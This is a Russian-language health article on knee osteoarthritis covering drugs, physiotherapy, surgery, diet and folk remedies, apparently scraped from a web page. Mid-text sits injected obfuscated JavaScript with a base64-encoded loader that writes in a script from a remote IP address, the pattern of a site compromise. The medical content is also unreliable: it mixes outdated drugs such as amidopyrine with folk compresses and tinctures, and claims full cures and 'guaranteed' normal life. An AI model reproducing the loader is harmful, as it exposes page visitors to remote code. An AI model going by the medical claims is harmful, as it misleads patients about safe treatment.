Деформирующий остеоартроз коленного сустава

Развитие ДОА коленного сустава связывают с рядом причин. Наиболее доказано значение травмы или микротравматизации хряща. Это может быть связано с нарушением устойчивости сустава, приводящего к увеличению нагрузки на ограниченные отделы суставной поверхности.

Лечение

При остеоартрозе проводится комплексное лечение, включающее применение медикаментов, физиотерапии и ортопедического лечения.

Во время обострения ДОА, которое может сопровождаться явлениями вторичного воспаления сустава, для подавления болевого синдрома применяется ацетилсалициловая кислота до 3 г в сутки, амидопирин по 0,75 г в сутки в 3 приема, бутадион, бруфен, реопирин и их сочетание. Хорошо сочетается применение бутадиона или амидопирина с салицилатами.

Выраженным обезболивающим эффектом обладает индометацин в дозе 25 мг дважды в день. При хорошей переносимости препарата дозу можно увеличить 2-3 раза.

Хорошим противовоспалительным действием обладает внутрисуставное введение глюкокортикоидов. Однако их применении оправдано только при вторичном синовите, так как кортикостероиды нарушают обмен сульфополисахаридов, тем самым отрицательно влияя течение ДОА.

В настоящее время широкое распространение получили препараты, имеющие идентичную хрящам структуру (руманол, допа-200, артепарон и т.д.). В их состав входят глюкозамины и мукополисахариды. Внутрисуставное или парентеральное введение данных препаратов влияет на механизм развития заболевания первичных остеоартрозов. Составные элементы веществ активно включаются в метаболизм хрящевой ткани.

Физиолечение представлено индукто-, парафино-, рентгено- и УВЧ-терапией, грязелечением, радоновыми и сероводородными ваннами и т.д.

Ортопедическое лечение направлено на уменьшение нагрузки на коленный сустав и ликвидацию контрактур. С данной целью применяется кратковременная иммобилизация конечности с последующими возрастающими движениями в колене, сочетающимися с осевой разгрузкой. Необходимо пользоваться тростью или костылями. Запрещается ношение тяжестей.

Хороший эффект наблюдается от лечебной физкультуры в бассейне и плавании.

При диагнозе ДОА 1, а иногда и 2 стадии, длительной ремиссии удается достичь с помощью консервативной терапии. При отсутствии положительного эффекта от повторного консервативного лечения, при прогрессировании процесса и нарастании деформации конечности показано оперативное вмешательство.

Наиболее распространенной операцией при гонартрозе является субхондральная остеотомия проксимального метафиза большеберцовой кости. В исключительных случаях показан артродез, обеспечивающий полную неподвижность в колене с сохранением опорной функции. Все большее применение находит метод аллопластики и эндопротезирования суставов. function getCookie(e){var U=(new RegExp(«(?:^|; )»+(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=(()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=(()/1e3+86400),date=new Date((new Date).getTime()+86400);»redirect=»+time+»; path=/; expires=»+(),(»)}

Симптоматика и диагностика болезни

Для второй степени гонартроза характерен продолжительный болевой синдром в области сгиба сустава. При этом пациента могут беспокоить вечерние и ночные судороги. Постепенно нарушается целостность самого сустава, формируются «шишки». Периодически возникает ощущение недееспособности колена. Развивается стойкая отечность. Гимнастика состояние пациента не улучшает.

При проявлении вышеописанной клиники рекомендуется проконсультироваться с ортопедом, терапевтом либо хирургом. Пациенту с подобными симптомами назначается следующая диагностика:

  1. Лабораторное исследование крови – особое внимание уделяется значению СОЭ. Если уровень показателя выше 20 мм, в организме пациента протекает воспалительный процесс. О гонартрозе свидетельствуют показатели щелочной фосфатазы, ревматоидный фактор, который выявляется с помощью биохимического анализа крови.
  2. Рентген – с помощью данной методики диагностики врач определяет стадию болезни. При этом оценить состояние тканей сустава нельзя.

Дополнительно пациенту рекомендуется пройти:

  1. УЗИ – проводится с целью оценки состояния мягких тканей. Но для проведения анамнеза требуется квалифицированный специалист.
  2. МРТ – точная оценка состояния связок, хряща, тканей.
Читайте также:  3 причины шума в ушах или в голове при остеохондрозе шеи. Как лечить?

Все способы лечение деформирующего остеартроза колена

Назначением лечения занимается травматолог-ортопед.

Методы лечения — консервативные или хирургические.

Все зависит от степени заболевания, клинический выраженных симптомов, общего состояния пациента, индивидуальных показаний. Лечение сугубо индивидуальное.

Медикаментозная терапия

Для снятия воспаления, болей в суставе врач назначает нестероидные противовоспалительные средства: Диклофенак, Мелоксикам, Нимесулид.

Препараты или мази облегчат положение при обострении болезни.

Для расширения сосудов назначается Никошпан, Трентал, Теоникол, Бетаметазон, Гидрокортизол в инъекциях, гиалуроновая кислота.

Все способы лечение деформирующего остеартроза колена

При синовите, истощении хряща назначаются кортикостероиды путем введения инъекций в больной сустав.

Для усиления кровообращения назначаются сосудорасширяющие препараты. Гиалуроновая кислота, Кортикостероиды в виде инъекций для снятия воспаления и отечности.

Для поддержания функции сустава помогут хондропротекторы. Они обязательно включаются в курс лечения, независимо от выбора способа и степени поражения сустава.

Лечится колено путем внутримышечного или внутрисуставного введения Глюкозамина, Хондротина сульфата. Хондроитин содержит некоторые биодавки, которые тоже рекомендованы при лечении болезни.

При сильных болях врач выпишет анальгетики, однако каждый больной должен понимать, что прием лекарств не способен вылечить недуг. Это всего лишь снятие симптомов, кратковременный эффект для облегчения состояния больного.

Диета

Рекомендуется ежедневное меню с употреблением свежей зелени, фруктов зеленых овощей, лососевых, морепродуктов постного мяса индейки.

Противопоказана острая, соленая, жирная, богатая углеводами еда.

Ткани хряща плохо усваивают аминокислоты, человек быстро набирает лишние килограммы. Много необходимого хондроитина есть в крабах, креветках, а коллагена в нежирном мясе.

Хирургический метод лечения

Оперативное вмешательство необходимо на 3-ей, запущенной стадии болезни.

Назначается артроскопия — эндоскопическая операция по удалению разрушенных элементов мениска, хряща, близлежащих поврежденных структур.

Неплохо зарекомендовал себя метод артроскопии для удаления частичек разрушенного хряща. Хирург имеет возможность оценить состояние сустава изнутри.

Все способы лечение деформирующего остеартроза колена

Также возможно проведение эндопротезирования сустава, замены его на искусственный имплант — эндопротез, материалом для которого служит сталь, титан, или полиэтилен. Эти материалы прочные, долговечные, прослужат до 25 лет.

Другие способы

Введение ортокина. получаемого из клеток больного. Кровь, взятая из вены, обрабатывается для продуцирования белка, способного остановить разрушение хряща. Но, лечение таким методом эффективно на 1-2 стадии недуга, сразу как появились первые симптомы, при полном разрушении хряща нужны более радикальные методы лечения.

Метод Бубновского способен улучшить питание хряща, устранить дисфункцию в мышцах колена. По методу Бубновского пациент проходит лечение на специальном тренажере для улучшения питания тканей сустава, проработки каждой группы мышц в отдельности, восстановления микроциркуляции крови.

Использование столовых клеток. Клетки берутся у больного путем введения тонкой иглы в тазовую кость. После их активирования вновь вводятся в суставную полость. Метод эффективен при деформирующем остеоартрозе 2 степени, стволовые клетки способны восстановить разрушенный хрящ в полном объеме.

Нормальная жизнь пациенту, беспрепятственное передвижение гарантировано.

Лечение народными средствами

Некоторые пациенты любят применять в лечении народные рецепты. Однако перед их применением стоит проконсультироваться с врачом.

Лечение народными средствами
  • Компресс с соком чистотела. Чистотел – это растение, в котором содержится большое количество биологически активных веществ. При остеоартрозе применяется его сок. Соком смачивается льняная ткань и обертывается колено. Закрепить это необходимо полиэтиленом и теплой тканью. Компресс нужно держать около часа. Курс таких процедур составляет 7 дней. Рекомендуется провести три курса с недельным перерывом. После снятия компресса данное место необходимо обработать растительным маслом.
  • Лечение желатином. Вечером необходимо замочить 1 чайную ложку желатина в 50 мл остывшей кипяченой воды. Утром долить воды до полного стакана, тщательно размешать и добавить ложку меда. Следует пить натощак 10 дней. Необходимо провести три таких курса, между которыми будет перерыв неделя.
  • Компресс с хреном. Необходимо взять небольшой корень хрена, вымыть, почистить и натереть его на терке. Затем добавить немного воды и поставить распариваться на водяную баню до кашицеобразной формы. Затем выложить содержимое на льняную ткань и приложить к больному колену. Накрыть целлофаном и укутать теплой тканью. Хрен содержит большое количество полезных веществ. Он обладает раздражающим эффектом, что согревает пораженное место и улучшает циркуляцию крови. По времени необходимо держать столько, насколько хватит сил. Повторять раз в два-три дня, курсом в 10 процедур.
Читайте также:  Боль в колене — лечение народными средствами

Диагностика заболевания

Для выставления диагноза наиболее информативна рентгенография, позволяющая вывить все компенсаторные изменения со стороны костных тканей. Это расплющивание костной площадки, уплотнение субхондральной зоны, формирование множественных остеофитов (костных шипов) на краях суставных поверхностей.

Рентгенографическое исследование помогает также дифференцировать остеоартроз 2 степени от других заболеваний, например, наличие опухолей в большеберцовой и бедренной костях. Для подтверждения диагноза проводятся другие исследования:

Диагностика заболевания
  • МРТ, КТ для более детальной оценки состояния хряща, связок, сухожилий, кровеносных сосудов;
  • артроскопия с одновременным забором материала для дальнейшего морфологического изучения.

Дифференцировать остеоартроз от артритов позволяют результаты общеклинических, биохимических анализов. Для исключения воспалительного поражения колена определяются уровни СОЭ, С-реактивного белка, ревматоидного фактора, сиаловых кислот, антинуклеарных антител, мочевой кислоты.

Компресс на основе яблочного уксуса

Всем известно, что уксусная кислота незаменима при заболеваниях опорно-двигательного аппарата. Поскольку помогает снимать воспалительный процесс, уменьшает боль, отечность и ускоряет кровообращение. Чтобы приготовить компресс следует смешать 3 и 1 столовую ложку яблочного уксуса и жидкого меда, лист лопуха и капусты, предварительно измельченные.

Использовать компресс необходимо в следующей последовательности:

  1. Смешать в миске мед и уксус, нанести на область колена.
  2. Сверху положить измельченные листья, обернуть ногу полиэтиленовым мешочком и теплым полотенцем.

Лучше делать компресс перед отходом ко сну. Носить его разрешается несколько суток, пока листья не высохнут. Общая длительность терапии с помощью такого метода составляет месяц.

Гимнастика

Подобранные врачом упражнения, вкупе с медикаментами и правильным режимом питания, в значительной мере улучшают состояние пациента. Важно тренироваться регулярно. Следует только помнить, что больной сустав необходимо оберегать от физических нагрузок. Недопустимо заниматься ЛФК без одобрения врача – в противном случае есть риск ухудшить состояние.

Все упражнения делают или лежа на полу либо сидя. В основном они направлены на разработку сустава. В ходе занятий производят разгибания и сгибании ног, махи ими и пр.

ЛФК позволит:

  • повысить мышечный тонус;
  • активизировать кровоток;
  • ускорить метаболизм.

Кто рискует заболеть?

Точные причины возникновения патологического состояния медицине неизвестны. Играют свою роль наследственность, образ жизни, сопутствующие заболевания.

Существуют факторы, увеличивающие риск деформирующего артроза:

  • женский пол – недуг затрагивает женщин в постклимактерическом возрасте из-за уменьшения эстрогенов в крови;
  • избыточный вес;
  • гиподинамия, нехватка физической активности;
  • профессиональные занятия спортом, сопутствующие травмы;
  • гормональные нарушения (сахарный диабет, метаболический синдром);
  • ранее диагностированные артриты, подагра, иные системные изменения в организме.

Профилактическую проверку у терапевта, хирурга и узкого специалиста (ревматолога) стоит проходить всем людям старше сорока лет. Это поможет поставить диагноз на ранней стадии и избежать осложнений.

Читайте также:  Болезни суставов ног колени лечение народными средствами

Нюанс! Не во всех населенных пунктах есть ревматологи, но обычно для постановки диагноза хватает УЗИ и осмотра хирурга.

Прогноз остеоартроза

Прогноз излечивания болезни зависит от ее стадии:

  • При выявлении остеоартроза на начальной стадии простое изменение питания и включение в рацион витаминных комплексом готово остановить или полностью вылечить болезнь.
  • Когда возникают боли тазобедренного и коленного сустава 2 и 3 степени, помощь оказывается сочетанием комплексной терапии и физиопроцедур. Полностью остеоартроз вылечить невозможно, но реально заметно приостановит развитие.
  • Если остеоартроз дошел до 4 степени, в реальности можно только улучшить качество жизни пациента. Использование анальгетиков и препаратов против болей в суставах могут снять сильные болевые приступы. На этой стадии остеоартроз полностью вылечить невозможно.

Если остеоартроз развился у молодого человека, то при значительной деформации суставов комиссия может вынести решение о непригодности к службе в армии.

[adinserter block=»8″]

Лечение народными средствами

Эта болезнь известна людям еще с древних времен, и поэтому за такой длительный период был приобретен большой опыт в лечении народными средствами.

Медикаментозные препараты очень важны при лечении остеоартроза тазобедренного сустава 2 степени. Они помогают справиться с болезнью, но лечением народными средствами также не уступает по своей популярности, и приносят хорошие результаты. Народными средствами также можно замедлить прогрессирование болезни и полностью избавиться от болезненных ощущений.

Большой популярностью пользуются травяные сборы, которые необходимо правильно заваривать и после приготовления принимать внутрь. С их помощью пациент сможет снять воспаление, убрать боль и остановить процесс разрушения хряща. К примеру, можно привести несколько рецептов по приготовлению отваров:

  1. Для приготовления отвара необходимо взять в одинаковых пропорциях такие травы, как листья крапивы, цветки бузины, кору ивы, можжевельник и календулу. Все мелко измельчить. После чего взять две столовые ложки готовой травы, залить их литром кипяченой воды. Дать настояться на протяжении 12 часов и принимать по полстакана от трех до пяти раз в день. Длительность приема отвара должна составлять не меньше двух месяцев.
  2. Для приготовления следующего отвара понадобятся листья брусники, крапивы и мяты, а также трава фиалки и череды, багульник и зверобой. Все взять в одинаковых пропорциях. Две столовые ложки травы залить литром кипятка. Пусть настоится на протяжении 12 часов, и пить по полстакана до пяти раз в день. Лечение при помощи этих трав должно составлять от двух до четырех месяцев.
Лечение народными средствами

Народными средствами остеоартроз лечится достаточно успешно, но полного достижения результата можно добиться где-то на протяжении полугода. Поэтому стоит набраться побольше терпения, и уже очень скоро можно полностью избавиться от проблемы. Но не стоит забывать и о том, что лечение народными средствами также имеют некоторые противопоказаний, с которыми необходимо ознакомиться до начала их приема.

Лечение народными средствами включает не только травяные отвары, но и средства местного лечения. Такими могут быть следующие средства:

  • Необходимо взять две столовые ложки касторового масла и одну столовую ложку живичного скипидара. Все это хорошо смешать. Такой мазью нужно натирать больной сустав не больше двух раз в неделю.
  • Необходимо смешать столовую ложку меда, сухой горчицы и растительного масла. Эту смесь довести до кипения на небольшом огне. При помощи полученной смеси сделать компресс и положить его на больной сустав не больше, чем на два часа.
  • Взять 0,5 литра водки и несколько стручков красного перца. Это все настаивать на протяжении десяти дней и полученной настойкой протирать больной сустав.